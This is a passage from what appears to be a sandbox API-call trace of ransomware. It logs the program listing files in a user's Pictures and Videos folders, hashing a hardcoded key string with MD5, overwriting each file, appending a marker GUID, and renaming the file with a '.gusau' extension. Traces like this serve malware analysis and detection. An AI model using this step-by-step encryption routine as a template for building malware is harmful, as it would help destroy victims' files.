hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.393] CloseHandle (hObject=0x610) returned 1 [0118.394] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\WQb DhJ7Wo.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\wqb dhj7wo.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\WQb DhJ7Wo.jpg.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\wqb dhj7wo.jpg.gusau")) returned 1 [0118.406] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.406] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.407] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48167ad0, ftCreationTime.dwHighDateTime=0x1d4c862, ftLastAccessTime.dwLowDateTime=0xb6851610, ftLastAccessTime.dwHighDateTime=0x1d4c539, ftLastWriteTime.dwLowDateTime=0xb6851610, ftLastWriteTime.dwHighDateTime=0x1d4c539, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_1-Z0l.gif", cAlternateFileName="")) returned 1 [0118.407] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\_1-Z0l.gif") returned=".gif" [0118.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\_1-Z0l.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\_1-z0l.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.408] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=22528) returned 1 [0118.408] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.410] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x57da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.410] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.412] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x5800, lpOverlapped=0x0) returned 1 [0118.412] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.412] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.412] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.412] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.413] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.413] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.413] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.413] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.413] GetLastError () returned 0x0 [0118.413] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.413] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.414] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.414] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.414] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.414] CloseHandle (hObject=0x610) returned 1 [0118.415] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\_1-Z0l.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\_1-z0l.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ZTE-\\_1-Z0l.gif.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\zte-\\_1-z0l.gif.gusau")) returned 1 [0118.415] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.415] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.416] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.416] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48167ad0, ftCreationTime.dwHighDateTime=0x1d4c862, ftLastAccessTime.dwLowDateTime=0xb6851610, ftLastAccessTime.dwHighDateTime=0x1d4c539, ftLastWriteTime.dwLowDateTime=0xb6851610, ftLastWriteTime.dwHighDateTime=0x1d4c539, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_1-Z0l.gif", cAlternateFileName="")) returned 0 [0118.416] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.416] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.417] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.417] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.417] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.417] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0118.417] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\") returned="ynWwf7IE7\\" [0118.417] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0118.417] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f7a0 [0118.417] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0118.417] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0118.417] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.417] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0118.417] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.417] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.417] PathFindFileNameW (pszPath="") returned="" [0118.417] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0118.417] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x965fa9e0, ftCreationTime.dwHighDateTime=0x1d4c642, ftLastAccessTime.dwLowDateTime=0x5f2cca30, ftLastAccessTime.dwHighDateTime=0x1d4cc5e, ftLastWriteTime.dwLowDateTime=0x5f2cca30, ftLastWriteTime.dwHighDateTime=0x1d4cc5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.418] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x965fa9e0, ftCreationTime.dwHighDateTime=0x1d4c642, ftLastAccessTime.dwLowDateTime=0x5f2cca30, ftLastAccessTime.dwHighDateTime=0x1d4cc5e, ftLastWriteTime.dwLowDateTime=0x5f2cca30, ftLastWriteTime.dwHighDateTime=0x1d4cc5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.418] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fd3b20, ftCreationTime.dwHighDateTime=0x1d4c68a, ftLastAccessTime.dwLowDateTime=0xbf472ca0, ftLastAccessTime.dwHighDateTime=0x1d4c5cc, ftLastWriteTime.dwLowDateTime=0xbf472ca0, ftLastWriteTime.dwHighDateTime=0x1d4c5cc, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8Vj kyoaTN1vy L0-Vsr.mp4", cAlternateFileName="8VJKYO~1.MP4")) returned 1 [0118.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.418] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.418] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\8Vj kyoaTN1vy L0-Vsr.mp4") returned=".mp4" [0118.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\8Vj kyoaTN1vy L0-Vsr.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\8vj kyoatn1vy l0-vsr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.419] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=2257) returned 1 [0118.419] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.421] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x8ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.421] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.423] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.423] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x8d1, lpOverlapped=0x0) returned 1 [0118.423] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.423] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.423] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.423] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.423] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.424] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.424] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.424] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.424] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.424] GetLastError () returned 0x0 [0118.424] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.424] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.424] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x8d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.424] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.424] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.424] CloseHandle (hObject=0x610) returned 1 [0118.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x390b9c0 [0118.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f5430 [0118.425] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\8Vj kyoaTN1vy L0-Vsr.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\8vj kyoatn1vy l0-vsr.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\8Vj kyoaTN1vy L0-Vsr.mp4.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\8vj kyoatn1vy l0-vsr.mp4.gusau")) returned 1 [0118.426] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.426] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.427] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.427] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39b51d20, ftCreationTime.dwHighDateTime=0x1d4d514, ftLastAccessTime.dwLowDateTime=0x9d3cb60, ftLastAccessTime.dwHighDateTime=0x1d4d370, ftLastWriteTime.dwLowDateTime=0x9d3cb60, ftLastWriteTime.dwHighDateTime=0x1d4d370, nFileSizeHigh=0x0, nFileSizeLow=0x13873, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9zW0DyjAU1Nrc.mkv", cAlternateFileName="9ZW0DY~1.MKV")) returned 1 [0118.427] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.427] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.427] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.427] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\9zW0DyjAU1Nrc.mkv") returned=".mkv" [0118.427] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\9zW0DyjAU1Nrc.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\9zw0dyjau1nrc.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.427] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=79987) returned 1 [0118.427] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.429] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1384d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.429] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.435] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.435] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.435] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.435] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x13873, lpOverlapped=0x0) returned 1 [0118.438] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.438] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.438] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.438] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.438] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0118.439] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.439] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.439] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.439] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.439] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.439] GetLastError () returned 0x0 [0118.439] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.439] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0118.439] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.439] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x13870) returned 0x39f9f20 [0118.440] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.440] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1386e, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1386e, lpOverlapped=0x0) returned 1 [0118.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.440] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x13873, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.440] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.440] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.440] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.441] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.441] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.441] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.441] CloseHandle (hObject=0x610) returned 1 [0118.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x390b9c0 [0118.442] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0118.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x390b9c0 | out: hHeap=0xd10000) returned 1 [0118.442] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\9zW0DyjAU1Nrc.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\9zw0dyjau1nrc.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\9zW0DyjAU1Nrc.mkv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\9zw0dyjau1nrc.mkv.gusau")) returned 1 [0118.442] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.442] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.443] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.443] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x549fa5c0, ftCreationTime.dwHighDateTime=0x1d4d4cd, ftLastAccessTime.dwLowDateTime=0x6b5b7ed0, ftLastAccessTime.dwHighDateTime=0x1d4ca80, ftLastWriteTime.dwLowDateTime=0x6b5b7ed0, ftLastWriteTime.dwHighDateTime=0x1d4ca80, nFileSizeHigh=0x0, nFileSizeLow=0x10ea2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BoizzI4g97t.flv", cAlternateFileName="BOIZZI~1.FLV")) returned 1 [0118.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb3a0 [0118.443] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8e) returned 0x3883e18 [0118.444] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb3a0 | out: hHeap=0xd10000) returned 1 [0118.444] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\BoizzI4g97t.flv") returned=".flv" [0118.444] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\BoizzI4g97t.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\boizzi4g97t.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.444] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=69282) returned 1 [0118.444] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.446] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x10e7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.446] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.448] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.448] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.448] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.448] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x10ea2, lpOverlapped=0x0) returned 1 [0118.451] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.451] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 